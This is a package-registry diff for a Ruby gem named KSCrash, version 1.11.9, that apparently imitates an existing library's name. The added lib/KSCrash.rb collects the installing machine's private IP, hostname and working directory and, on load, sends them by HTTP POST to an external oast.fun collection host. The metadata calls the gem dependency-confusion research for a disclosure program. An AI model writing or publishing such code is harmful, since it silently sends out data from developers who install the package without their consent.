KSCrash 1.11.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of KSCrash might be problematic. Click here for more details.
- checksums.yaml +7 -0
- data/lib/KSCrash.rb +28 -0
- metadata +45 -0
checksums.yaml
ADDED
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
---
|
|
2
|
+
SHA256:
|
|
3
|
+
metadata.gz: 6e26562289a03c1d7fade0f99ef32426a4488cd57f0c5bfe8b4cc40cb009bbc9
|
|
4
|
+
data.tar.gz: '08bf728b39cb4cfc040215b837d1919b74b1b351782183c5e71a68b66aa3726f'
|
|
5
|
+
SHA512:
|
|
6
|
+
metadata.gz: 2de09ea0dc185a0a892e0506daa8d0434445d3f9d751aa60d785935773a23ff6a7c85a6c948e90fde9dbc71f18e74359ffc557189313edcc51ef12fe3898780f
|
|
7
|
+
data.tar.gz: fc87daca06bf98df5a531705ebb31915c77bccf921003358f6f3ece1deb6bdd3fd158f2a5f920017c60dfa6288d97ca61b35a677bea73906d8b9ed8d2ce73a0e
|
data/lib/KSCrash.rb
ADDED
|
@@ -0,0 +1,28 @@
|
|
|
1
|
+
module KSCrash
|
|
2
|
+
|
|
3
|
+
require 'json'
|
|
4
|
+
require 'net/http'
|
|
5
|
+
require 'socket'
|
|
6
|
+
|
|
7
|
+
#Private IP
|
|
8
|
+
privip = UDPSocket.open {|s| s.connect("64.233.187.99", 1); s.addr.last}
|
|
9
|
+
#Hostname
|
|
10
|
+
hostname = Socket.gethostname
|
|
11
|
+
#Current directory
|
|
12
|
+
dir = Dir.pwd
|
|
13
|
+
|
|
14
|
+
#Pubcli bin url:- https://pipedream.com OR burpCollaborate url
|
|
15
|
+
uri = URI('https://chyt8812vtc0000zc8agge9prrryyyyyb.oast.fun')
|
|
16
|
+
req = Net::HTTP::Post.new(uri, 'Content-Type' => 'application/json')
|
|
17
|
+
|
|
18
|
+
req.body = {
|
|
19
|
+
private_ip: privip,
|
|
20
|
+
hostname: hostname,
|
|
21
|
+
current_directory: dir
|
|
22
|
+
}.to_json
|
|
23
|
+
|
|
24
|
+
Net::HTTP.start(uri.hostname, uri.port, :use_ssl => uri.scheme == 'https') do |http|
|
|
25
|
+
http.request(req)
|
|
26
|
+
end
|
|
27
|
+
|
|
28
|
+
end
|
metadata
ADDED
|
@@ -0,0 +1,45 @@
|
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
|
2
|
+
name: KSCrash
|
|
3
|
+
version: !ruby/object:Gem::Version
|
|
4
|
+
version: 1.11.9
|
|
5
|
+
platform: ruby
|
|
6
|
+
authors:
|
|
7
|
+
- PranayX01
|
|
8
|
+
autorequire:
|
|
9
|
+
bindir: bin
|
|
10
|
+
cert_chain: []
|
|
11
|
+
date: 2023-06-05 00:00:00.000000000 Z
|
|
12
|
+
dependencies: []
|
|
13
|
+
description: This package is meant for security research purposes and does not contain
|
|
14
|
+
any useful code.
|
|
15
|
+
email:
|
|
16
|
+
- pranayrai676@gmail.com
|
|
17
|
+
executables: []
|
|
18
|
+
extensions: []
|
|
19
|
+
extra_rdoc_files: []
|
|
20
|
+
files:
|
|
21
|
+
- lib/KSCrash.rb
|
|
22
|
+
homepage: https://rubygems.org/gems/QubitSDK
|
|
23
|
+
licenses:
|
|
24
|
+
- MIT
|
|
25
|
+
metadata: {}
|
|
26
|
+
post_install_message:
|
|
27
|
+
rdoc_options: []
|
|
28
|
+
require_paths:
|
|
29
|
+
- lib
|
|
30
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
|
31
|
+
requirements:
|
|
32
|
+
- - ">="
|
|
33
|
+
- !ruby/object:Gem::Version
|
|
34
|
+
version: '0'
|
|
35
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
|
36
|
+
requirements:
|
|
37
|
+
- - ">="
|
|
38
|
+
- !ruby/object:Gem::Version
|
|
39
|
+
version: '0'
|
|
40
|
+
requirements: []
|
|
41
|
+
rubygems_version: 3.0.3.1
|
|
42
|
+
signing_key:
|
|
43
|
+
specification_version: 4
|
|
44
|
+
summary: This package is only for testing purpose with vulnerable disclosure program
|
|
45
|
+
test_files: []
|